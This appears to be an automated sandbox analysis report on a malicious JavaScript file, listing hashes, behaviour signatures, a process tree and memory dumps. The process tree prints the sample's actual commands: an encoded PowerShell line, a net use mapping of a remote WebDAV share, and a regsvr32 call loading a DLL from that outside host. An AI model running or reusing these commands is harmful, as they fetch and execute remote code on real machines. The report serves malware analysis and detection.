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Analysis

  • max time kernel
    136s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 12:37

General

  • Target

    24512273992155119888.js

  • Size

    16KB

  • MD5

    81f40ac6804ff55ae429b1f889d43919

  • SHA1

    622b8e291d62965f213d0171863bf0cca613817c

  • SHA256

    729ba61dd005270ac9ea1a3fcacbfd615c2b1ffcaa8c02477205590c1bd491f4

  • SHA512

    82c6bdb877e62b5791c81238bcb6c9dcb69106493defdb866ed6bcf467cb87213c9e8a1007524f7de8c6c19566fc3f7dd92d93186908a03e816c96118c97aaa0

  • SSDEEP

    192:6iAQi4t9L0q0hh5p1hKJHhFSAlnFaygFSAlnFCt:6i3DUmBPXyJXe

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\24512273992155119888.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADQANwA4ADMANgAyADcAOQAxADMAOAAxADUALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:1412
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\4783627913815.dll
          3⤵
            PID:1020

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zb4atasi.vw3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4696-0-0x00007FFAD9303000-0x00007FFAD9305000-memory.dmp

        Filesize

        8KB

      • memory/4696-6-0x000001CF6DDA0000-0x000001CF6DDC2000-memory.dmp

        Filesize

        136KB

      • memory/4696-11-0x00007FFAD9300000-0x00007FFAD9DC1000-memory.dmp

        Filesize

        10.8MB

      • memory/4696-13-0x00007FFAD9300000-0x00007FFAD9DC1000-memory.dmp

        Filesize

        10.8MB

      • memory/4696-15-0x00007FFAD9300000-0x00007FFAD9DC1000-memory.dmp

        Filesize

        10.8MB